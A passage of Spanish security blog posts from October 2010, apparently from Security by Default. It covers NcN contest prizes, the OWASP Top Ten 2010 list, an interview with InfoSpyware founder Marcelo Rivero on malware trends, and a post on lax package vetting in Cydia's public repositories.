En cuanto a los ganadores y los premios, el forense se entregó físicamente al tercer ganador. El participante  decidió llevarse una caja sin conocer el contenido frente a un descuento de un curso completo del CEH del 50%. Ganó un precioso calentador de tazas café USB. En el caso de la Iluminación de Randa,  desgraciadamente quedo desierto, asi que los patrocinadores decidieron darnos a nosotros el premio. 

Nuevamente, damos las gracias a la organización de la NcN y sus patrocinadores ackstorm y Blueliv. No solo por el regalo, que es francamente estupendo, si no que también por un gesto tan carismático.

¡¡Nos vemos en la NcN2k11!!
Leer más...

22 octubre 2010

Documento OWASP Top Ten 2010 en castellano


Desde 2004, OWASP cuenta con un proyecto denominado OWASP Top Ten, mediante el cual se pretende recopilar los diez tipos de vulnerabilidades en aplicaciones web que suponen el mayor riesgo para su seguridad. Es un documento que se actualiza cada cierto tiempo, dependiendo de las tendencias y tras un proceso de consenso al que llegan varios profesionales de la seguridad en aplicaciones web.

El presente es la web, el futuro lo seguirá siendo así como su consumo, y por ello, cada vez más los ataques más críticos se seguirán centrando en esta plataforma, sobretodo sabiendo que tanta tanta tanta gente está al otro lado, hace clic en cualquier enlace llamativo, utilizan navegadores contaminados y la concienciación en seguridad durante la navegación todavía se encuentra en niveles bajos.

En 2004 fue la primera edición, seguidamente en 2007 y hasta este año, 2010, que se ha publicado la última versión de este documento, y que se anunció el 19 de Abril de 2010 mediante una nota de prensa que podréis ver en este enlace.

Las diez vulnerabilidades más críticas que se han recogido en la versión del 2010 son las siguientes:

  1. Inyección
  2. Secuencia de Comandos en Sitios Cruzados (XSS)
  3. Pérdida de Autenticación y Gestión de Sesiones
  4. Referencia Directa Insegura a Objetos
  5. Falsificación de Peticiones en Sitios Cruzados (CSRF)
  6. Defectuosa Configuración de Seguridad
  7. Almacenamiento Criptográfico Inseguro
  8. Falla de Restricción de Acceso a URL
  9. Protección Insuficiente en la Capa de Transporte
  10. Redirecciones y reenvíos no validados

Entre edición y edición se aprecian variaciones, en unas ocasiones algunos de los controles se eliminan, dejando paso a tipos de vulnerabilidades que vengan "pisando fuerte".

Para cada uno de los riesgos, y lejos de la guía tradicional de pruebas OWASP, se dedica una única hoja en la que se responden a varias preguntas, que nos harán determinar si somos vulnerables a tal riesgo (¿Soy Vulnerable?), ejemplos gráficos (Ejemplos de escenarios de ataque), formas y consejos sobre como evitar estos riesgos (¿Cómo puedo evitar esto?) y multitud de referencias (tanto dentro del proyecto OWASP como externas).


En las últimas secciones del documento, se enumeran los siguientes pasos que deberían tomar tanto desarrolladores, como auditores así como las propias organizaciones frente a estos riesgos en caso de existir o para evitarlos. 

Lectura recomendada para TODOS, que encima es GRATIS.

Leer más...
Hoy tenemos el placer de entrevistar a Marcelo Rivero, que por si alguien aun no lo identifica, es el creador y líder del proyecto InfoSpyware / ForoSpyware. Una comunidad altamente recomendable donde -me consta- tratan a la gente con una amabilidad exquisita y está plagado de gente dispuesta a ayudar

Tuve el placer de conocer en persona a Marcelo durante el 2nd Security Blogger Summit y lo cierto es que me impresionó mucho su cercanía y lo claras que tiene las cosas. Si me pidieran elaborar una lista de cinco personas para ir con ellas a la isla de Lost, Marcelo estaría en esa lista.

1- Muchos de nuestros lectores ya conocen a Marcelo de InfoSpyware / ForoSpyware, no obstante, háblanos un poco de lo que hacéis y a que perfil de gente nos podemos encontrar ahí.

InfoSpyware.com ForoSpyware.com conforman básicamente una de las comunidades independiente de lucha contra el malware y otras amenazas informáticas, más grandes en idioma español, la cual el pasado mes de Septiembre cumplió su 6to aniversario en la red.
Actualmente recibimos un promedio mensual de 4.5 millones de visitantes al mes desde todas partes del mundo encabezados por España, México y Argentina, contamos con cerca de 800 mil usuarios registrados en el foro en donde brindamos asistencia personalizada y gratuita principalmente a usuarios finales.
Disponemos de un Staff de más de 40 personas de diferentes países con quienes día a día intentamos poner nuestro granito de arena de forma voluntaria y gratuita por una Internet libre de malwares y más segura para todos.

2- Supongo que  habrá dos o tres preguntas clásicas que reciben frecuentemente, si esto es así, ¿ puedes comentarnos cuales son y cual es tu respuesta a estas?

jeje, si, Estas tres las destaco ya que no solo son clásicas en el foro, sino también que me realizan en los eventos y hasta mis amigos me lo han preguntado alguna vez…

A) - Cual es el mejor Antivirus?

En los tiempos que corren, el contar con un programa Antivirus es algo primordial para la seguridad de nuestros equipos, pero no existe AV 100% seguro e infalible, por lo que lo más recomendable es probar por nosotros mismos algunas opciones disponibles para luego elegir el que mas nos guste y se adapte a mejor a nuestro sistema y nuestras necesidades.

B) - Es verdad que las compañías Antivirus son los que hacen los virus?

En mi opinión es uno de los “mitos” que han acompañado desde siempre a la industria Antivirus, donde los que lo afirman dicen que lo escucharon, se lo contó un amigo de primo del tío o que saben de que esto es así, sin siquiera contar con ninguna prueba fehaciente. De echo en las últimas encuestas sobre el tema que tenemos en el foro, la gran mayoría de los usuarios aun lo siguen pensando…

Pero la realidad es que por un lado no lo necesitan hacer ya que prácticamente no dan a basto en analizar la cantidad de nuevos ejemplares de malwares que aparecen diariamente, sino que tampoco hasta ahora se a demostrado ni comprobado nada de esto en ninguna de las empresas de AVs conocidas mundialmente y de comprobarse seria el fin directamente para esta.

C) – Si los virus no afectan a los Mac o a Linux.

La respuesta rápida seria que si, si existen malwares tanto para Mac como para Linux, pero en comparación con la cantidad que hay para Windows, prácticamente los hace inexistentes. Las empresas AVs ya están sacando sus productos para proteger también estas plataformas, pero… son realmente necesarios todavía (?) esto creo que ya dependerá de cada usuario.

3- Como persona que lleva muchos años 'en esto' identifícanos que tendencias  hayas visto en los últimos años.

La principal tendencia que se sigue acentuando diría que es el creciente desarrollo y afianzamiento del “Crimeware”. Lejos quedo aquella época romántica en que se creaban virus informáticos de forma casi artesanal por simple diversión, para demostrar conocimientos o con fines de investigación ya que actualmente todo el nuevo “Malwares” que se genera día a día esta diseñado y desarrollado para de alguna manera perpetrar crímenes del tipo económico.

4- Y en tu opinión, que tendencias veremos en los próximos años.

La tendencia para el próximo o los próximos años sería "Más".
Más computadores por el mundo convertidos en Botnets, infectados por malwares más sofisticados, silenciosos y escurridizos, que a su vez sirven para perpetrar más y más potentes ataques DDoS, distribuyendo más Malwares y Spam geolocalizado en nuestro propio idioma. El Phishing, los Falsos AVs y los Troyanos bancarios serán lo que más dinero les generará a los ciberdelincuentes.
Las redes sociales como Facebook y Twitter seguirán siendo las más utilizadas para la distribución de malwares y los pendrives por su parte serán los dispositivos móviles que más propaguen infecciones, y las técnicas de “ingeniería social” seguirán siendo las más utilizadas y de mejor rendimiento para conseguir nuevas victimas. En conclusión, más Crimeware.
Quieres más?

5- Por último, dinos que 3 herramientas (y porqué) considerarías imprescindibles para alguien que quiera vivir 'más o menos' seguro en Internet.

Un Antivirus
Un Firewall
Un “poco” de sentido común a la hora de navegar.

Después, creo que es muy importante seguir concienciando a los usuarios, de que si bien Internet es una herramienta maravillosa que ha cambiado al mundo, también es como la calle, donde podemos ser victimas de un robo si no estamos lo suficientemente despiertos. Cada vez hay mas gente trabajando desde el lado oscuro utilizando la net como herramienta de fines ilícitos, por lo que también hay que estar atentos acá.
Comprendiendo los peligros reales que existen, podemos aprender a mitigarlos al mínimo y así disfrutar y sacarle el máximo provecho a las ventajas de Internet y la era 2.0
 
Para finalizar me gustaría agradecerte por la entrevista, de paso saludar a todo el equipo de “Security by Default” que como te comenté, me parece que están haciendo un excelente trabajo, también a su comunidad y si todo sale bien, nos vemos en España en el 2011.

---

Muchas gracias por tu tiempo Marcelo, esperamos verte pronto en España
Leer más...

21 octubre 2010

¿Confiamos en las aplicaciones de Cydia?

El gestor de paquetes Cydia es el programa que triunfa entre los usuarios que deciden "liberar" su iPhone o derivados. Desde hace algún tiempo, los métodos para hacer jailbreak al dispositivo instalan por defecto esta aplicación, y gracias a ella se descargan los paquetes adicionales.

El software se instala desde repositorios (Cydia es un gestor de paquetes), y los que vienen por defecto son supuestamente los más fiables. Podríamos diferenciar entre los repositorios privados, donde solo los administradores suben su software, y los públicos donde cualquier usuario puede proponer una aplicación.

Hace poco tuve contacto con uno de estos repositorios 'by default' públicos, y me quedé bastante asombrado por el poquísimo control que se tenía sobre los paquetes que enviaban los usuarios.


La historia es la siguiente: Subí un paquete (.tar, lo recomiendan) de una aplicación que debía ser usada mediante terminal, es decir, no era una aplicación gráfica, por lo que el paquete que ellos generaran debía extraer el ejecutable en un directorio incluido por defecto en el $PATH (/usr/bin por ejemplo). Tardaron solo unas horas en aceptarlo y subir al repositorio el .deb generado por ellos.

De momento todo iba bien, pero cuando descargué el paquete desde Cydia me llevé la sorpresa de que el ejecutable se extraía en la carpeta para las aplicaciones gráficas, y no donde les había especificado. Esto quiere decir que obviaron mis indicaciones, y lo más importante, que probablemente no ejecutaran ni probaran la aplicación en ningún momento. Costó hacer que todo estuviera en su sitio, pero al final se consiguió gracias a algún email y una resubida. Estos emails reafirmaron la teoría de que las aplicaciones no son probadas (al menos la mayoría).

Entonces pensé lo absurdamente fácil que resultaría subir un paquete malicioso y que no saltaran las alarmas hasta que se empezaran a producir infecciones (en caso de virus) o hasta que alguien encontrara un comportamiento extraño en nuestra aplicación.

Si analizamos la situación lo veremos más claro:

Un usuario nuevo, sin referencias, votaciones o algún tipo de puntuación de 'karma' puede subir aplicaciones. Estas aplicaciones probablemente no son probadas, y mucho menos va a ser analizado su comportamiento. Por supuesto no hay que mandar el código fuente de la aplicación (aunque dudo que lo revisaran), y las probabilidades de que analicen la aplicación mediante reversing son practicamente inexistentes.

Con todo esto hay que añadir que la aplicación no era gráfica, por lo que solo está disponible para los que tengan el filtro de Cydia en 'Hackers' o 'Developers' (esto no impidió que se produjeran bastantes descargas). Una aplicación gráfica, y con alguna función interesante (una jarra de cerveza, una granja, etc ...) habría sido mucho más atractiva y habría llegado a mucha más gente.

Ya se sabe que los repositorios de Cydia no son como la AppStore y que el control aquí es mucho menor, pero no pensaba que fuera tan bajo, o mejor dicho, inexistente en este caso.

Aun así, creo que es importante diferenciar entre repositorios, aunque al final todo se basará en el instinto y la preocupación de cada uno.

Y tú, ¿confías en las aplicaciones de los repositorios por defecto de Cydia?
Leer más...